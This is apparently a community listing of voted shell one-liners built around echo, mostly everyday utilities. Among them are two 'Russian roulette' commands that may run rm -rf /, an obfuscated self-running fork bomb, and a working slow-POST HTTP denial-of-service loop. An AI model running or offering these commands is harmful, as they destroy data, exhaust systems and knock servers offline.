Commands using echo sorted by votes

Commands using echo (1,545)

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convert a string from lower case into uppercase
This is sample output - yours may be different.
-1

echo lowercaseword | tr '[a-z]' '[A-Z]'

eastwind · 2013-05-11 11:08:37 6
Replace all the spaces in all the filenames of the current directory and including directories with underscores.
This is sample output - yours may be different.
-1

ls -1 | while read file; do new_file=$(echo $file | sed s/\ /_/g); mv "$file" "$new_file"; done

unixmonkey57489 · 2013-05-22 11:54:11 7
Netcat ftp honeypot centos linux (use port 22 for SSH)

[root@dhcppc1 windows]# cat /var/log/honeylog.log Connection from 192.168.1.71 port 21 [tcp/ftp] accepted Connection from 192.168.1.65 port 21 [tcp/ftp] accepted [root@dhcppc1 windows]# nc 192.168.1.65 21 220 ProFTPD 1.3.3c Server [ProFTPD] FAILED FTP ATTEMPT - PORT 21 *You can not run it if you have activated the ftp server.
This is sample output - yours may be different.
-1

while [ 1 ]; do echo -e "220 ProFTPD 1.3.3c Server [ProFTPD] \nFAILED FTP ATTEMPT - PORT 21" | nc -vvv -l 192.168.1.65 21 >> /var/log/honeylog.log 2>> /var/log/honeylog.log; done

xmuda · 2013-07-16 19:05:37 6
Removes single line from known_hosts file

Quickly remove the conflicting line (key) from current users known_hosts file when there is an SSH host conflict. Very nice when you get tired of writing out full commands. Ideally you would place this into your .bash_profile Usage: rhost [n] Example: rhost 33 (removes line 33 from ~/.ssh/known_hosts) Function assumes the $HOME exists, you could alternatively use "~/.ssh/known_hosts" Mac OSX likes a space for sed -i "$1" d
This is sample output - yours may be different.
-1

rhost() { if [[ $1 =~ ^[0-9]+$ ]]; then sed -i "$1"d ${HOME}/.ssh/known_hosts; else echo "rhost [n]"; fi }

lowjax · 2013-08-01 21:10:34 13
Creating rapidly an html menu

This will create rapidly an html menu. You can paste it in you're html page with the middle button(the wheel). I didn't test it in an html with css, but it seems alright. Show Sample Output
This is sample output - yours may be different.
```
<ul>
 <li>menu 1</li>
  <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
   <li>item 4</li>
   <li>item 5</li>
  </ul>
</ul>
<ul>
 <li>menu 2</li>
  <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
   <li>item 4</li>
   <li>item 5</li>
  </ul>
</ul>
<ul>
 <li>menu 3</li>
  <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
   <li>item 4</li>
   <li>item 5</li>
  </ul>
</ul>
<ul>
 <li>menu 4</li>
  <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
   <li>item 4</li>
   <li>item 5</li>
  </ul>
</ul>
```
-1

for menu in {1..4}; do echo -e "<ul>\n <li>menu $menu</li>\n <ul>"; for items in {1..5}; do echo " <li>item $items</li>"; if [ $items -eq 5 ];then echo -e " </ul>";fi;done; echo "</ul>";done | xclip

qcjn · 2013-09-22 06:34:32 6
find all minimum values in file with at least 100 lines
This is sample output - yours may be different.
-1

for ff in directory; do numLines=`wc -l $ff`; numLines=$(echo $numLines | sed 's/ .*//g'); min=$(sort -nrk 1 $ff | tail -1); if [ $numLines -gt 100 ]; then echo $min >> minValues; fi;done;

user1234 · 2013-09-23 04:04:52 7
Russian rullette: Warning! Don't run, if not sure what are you doing
This is sample output - yours may be different.
-1

# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Alive"

vp_arth · 2013-10-31 10:51:04 7
Move all epub keyword containing files to Epub folder
This is sample output - yours may be different.
-1

IFS=$(echo -en "\n\b"); mkdir Epub; for i in `find . | grep epub`; do echo "epub: $i"; mv -v "$i" Epub; done

Wafelijzer · 2014-01-13 20:39:58 8
Stores current working directory before exit and restores it on a new bash start

this command will add the following two lines into the ~/.bash_aliases: alias exit='pwd > ~/.lastdir;exit' [ -n "$(cat .lastdir 2>/dev/null)" ] && cd "$(cat .lastdir)" or redirect it to the ~/.bashrc if you like Donno, I find it usefull. You may also define an alias for 'cd ~' like - alias cdh='cd ~'
This is sample output - yours may be different.
-1

echo -e 'alias exit='\''pwd > ~/.lastdir;exit'\''\n[ -n "$(cat .lastdir 2>/dev/null)" ] && cd "$(cat .lastdir)"' >> ~/.bash_aliases

ichbins · 2014-01-28 18:02:04 6
A simple way find total Memory capacity of the system

Show Sample Output
This is sample output - yours may be different.
```
Memory: 192 GB
```
-1

echo "Memory:" $(dmidecode --type memory | grep " MB" | awk '{sum += $2; a=sum/1024} END {print a}') "GB"

bp · 2014-02-18 06:20:34 9
Get Minecraft ≥1.7 Server info (online players etc.) JSON
This is sample output - yours may be different.
-1

(echo -e '\x06\x00\x00\x00\x00\x00\x01\x01\x00'; sleep 1)|nc -c $host 25565

tehdog · 2014-08-05 14:44:40 13
See crontabs for all users that have one

This is not exhaustive but after checking /etc/cron* is a good way to see if there are any other jobs any users may have set. Note: this is a repost from a comment "flatcap" made on http://www.commandlinefu.com/commands/view/3726/print-crontab-entries-for-all-the-users-that-actually-have-a-crontab#comment, for which I am grateful and I take no credit.
This is sample output - yours may be different.
-1

for USER in /var/spool/cron/*; do echo "--- crontab for $USER ---"; cat "$USER"; done

tyzbit · 2014-12-11 19:48:46 15
Performs Layer 7 HTTP DoS attack

Check if your HTTP server is vulnerable to a very effective variant of slow HTTP attack called R.U.D.Y (R-U-Dead-Yet?). This command tries to keep many connections to the target web server and hold them open as long as possible. Affected server will exhaust its maximum concurrent connection pool and deny additional connection attempts from legitimate clients. Use it with caution!
This is sample output - yours may be different.
-1

for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done

elceef · 2015-04-15 14:02:55 9
Check the current price of Bitcoin (jq version, defines a function)

The only pre-requisite is jq (and curl, obviously). The other version used grep, but jq is much more suited to JSON parsing than that. Show Sample Output
This is sample output - yours may be different.
```
$ btc USD
1 BTC = 232.0986 USD
$ btc GBP
1 BTC = 149.4399 GBP
```
-1

btc() { echo "1 BTC = $(curl -s https://api.coindesk.com/v1/bpi/currentprice/$1.json | jq .bpi.\"$1\".rate | tr -d \"\"\") $1"; }

benjabean1 · 2015-09-19 02:49:30 18
Command-line russian roulette
This is sample output - yours may be different.
-1

[ $[ $RANDOM % 6 ] = 0 ] && rm -rf --no-preserve-root / || echo "Click"

mogoh · 2017-12-31 01:46:13 174
quick integer CPU benchmark

You could have that little benchmark run on all cores in parallel, as a multi-core benchmark or stress test First find the number of cores, then have parallel iterate over that in, well, parallel Show Sample Output
This is sample output - yours may be different.
```
...
41454625947560171969501001538543925124881846970621917597708878154881\
18278788738248093374936943243527734573872009289119068940335579136

real	0m12,698s
user	0m14,461s
sys	0m0,382s
```
-1

time cat /proc/cpuinfo |grep proc|wc -l|xargs seq|parallel -N 0 echo "2^2^20" '|' bc

kostis · 2018-12-06 05:36:55 1059
shell bash iterate number range with for loop

iterating range of numer with for loop in shell or bash Show Sample Output
This is sample output - yours may be different.
```
10
11
12
13
14
15
16
17
18
19
20
```
-1

rangeBegin=10; rangeEnd=20; for numbers in $(eval echo "{$rangeBegin..$rangeEnd}"); do echo $numbers;done

aysadk · 2019-07-26 09:19:44 239
shell bash iterate number range with for loop

"seq" has an additional parameter to use as INCREMENT. # seq FIRST INCREMENT LAST https://linux.die.net/man/1/seq Show Sample Output
This is sample output - yours may be different.
```
1
2
3
4
5
```
-1

for i in $(seq 1 5) ; do echo $i ; done

guilsson · 2019-07-29 18:34:12 218
Countdown Clock

I find the other timers are inaccurate. It takes some microseconds to perform the date function. Therefore, using date/time math to calculate the time for us results in millisecond accuracy. This is tailored to the BusyBox date function. May need to change things around for GNU date function. Show Sample Output
This is sample output - yours may be different.
```
00:03:00
```
-1

let T=$(date +%s)+3*60;while [ $(date +%s) -le $T ]; do let i=$T-$(date +%s); echo -ne "\r$(date -d"0:0:$i" +%H:%M:%S)"; sleep 0.3; done

davidk · 2019-10-22 15:04:21 143
Fork bomb (don't actually execute)

“$0” is a variable returning the name of the script that you call it in — so running “./$0&” twice amounts to the script running itself in a separate process twice. Show Sample Output
This is sample output - yours may be different.
```
#!/bin/bash
./$0&
./$0&
```
-1

echo -e “\x23\x21/bin/bash\n\.\/\$\0\&\n\.\/\$\0\&” > bomb.sh && ./bomb.sh

realkstrawn93 · 2021-04-30 19:33:40 143
reset the bizzarre gone junk terminal to normal
This is sample output - yours may be different.
-2

echo "Xc" | tr "Xo" "\033\017

mnikhil · 2009-02-07 18:55:27 9
Commit all the changes in your java code
This is sample output - yours may be different.
-2

svn st | grep /main/java | awk '{print $2}' | xargs echo | xargs svn ci -m "my comment here"

Antoine · 2009-02-11 16:31:05 10
Improvement of curl + Twitter

Modify the script for your username and password, and save it as a script. Run the script, and enjoy ./tweet
This is sample output - yours may be different.
-2

echo "Set Twitter Status" ; read STATUS; curl -u user:pass -d status="$STATUS" http://twitter.com/statuses/update.xml

ronz0 · 2009-02-16 14:34:05 157
read a file with table like data

This will print out the third column of every line in FILE. Useful for many files in /proc or *csv data. Show Sample Output
This is sample output - yours may be different.
```
3
```
-2

echo 1 2 3 > FILE; while read -a line; do echo ${line[2]}; done < FILE

occam · 2009-03-06 15:32:40 6
Quick alias for playing music.

An alias i made for myself to play music in a faster way. Works great when you have Guake / Tilda installed (Console that drops down like in the game QUAKE) --- I put this in my bash_alias file (I'm on ubuntu, the bash_alias file does autostart with the right config) but it works putting it in bashrc too. Or anything that autostarts when the console is opened. --- Needs Mplayer and music files to work. With out music theres nothing to play! Oh, and also, without modification, this alias will try to play stuff from your ~/Music folder! (case sensitive). Make sure that folder exists and has music OR edit this alias to fit your needs. Show Sample Output
This is sample output - yours may be different.
```
dude@boxy:~$ mux
File.mp3 anotherfile Moremusic Hardrock.mp3
File> Hardrock.mp3
<Insert lots of unneeded Mplayer output here>
```
-2

alias mux='clear && cd ~/Music/ && ls && echo -n "File> " && read msi && mplayer ~/Music/$msi'

Noxn · 2009-03-23 10:45:27 16
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Re-use the previous command output

The $(!!) will expand to the previous command output (by re-running the command), which becomes the parameter of the new command newcommand.

Count items in JSON array

Pipe any JSON to jq, then count with the appropiate expression and use the | length on the array

a for loop with filling 0 format, with seq

seq allows you to format the output thanks to the -f option. This is very useful if you want to rename your files to the same format in order to be able to easily sort for example: $for i in `seq 1 3 10`; do touch foo$i ;done And $ls foo* | sort -n foo1 foo10 foo4 foo7 But: $for i in `seq -f %02g 1 3 10`; do touch foo$i ;done So $ls foo* | sort -n foo01 foo04 foo07 foo10

Get AWS temporary credentials ready to export based on a MFA virtual appliance

You might want to secure your AWS operations requiring to use a MFA token. But then to use API or tools, you need to pass credentials generated with a MFA token. This commands asks you for the MFA code and retrieves these credentials using AWS Cli. To print the exports, you can use: `awk '{ print "export AWS_ACCESS_KEY_ID=\"" $1 "\"\n" "export AWS_SECRET_ACCESS_KEY=\"" $2 "\"\n" "export AWS_SESSION_TOKEN=\"" $3 "\"" }'` You must adapt the command line to include: * $MFA_IDis ARN of the virtual MFA or serial number of the physical one * TTL for the credentials

Get AWS temporary credentials ready to export based on a MFA virtual appliance

Release memory used by the Linux kernel on caches

=1 --> to free pagecache =2 --> to free dentries and inodes =3 --> to free pagecache, dentries and inodes

Grep recursively for a pattern and open all files that match, in order, in Vim, landing on 1st match

list files recursively by size

Burn an ISO on the command line.

Simple complete system backup excluding files or directories

You can exclude more system folders or individual files which are not necessary for the backup and can be recreated after the restore procedure, like /lost+found, /mnt, /media, /tmp, /usr ... Restoring the above backup procedure is as simple as becoming root and typing: $ tar zxpf backup.tgz -C / You can extract any file or directory out of the backup.tgz file for recovery, for instance, if you have a corrupt or mis-configured fstab file, you could simply issue the command: $ tar zxpf backup.tgz /ect/fstab -C / Other options: v add verbose option to see files processed A far safer solution is to restore the desired files under a different directory, and then compare, move, or update the files to their original locations afterward.

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Commands using echo (1,545)

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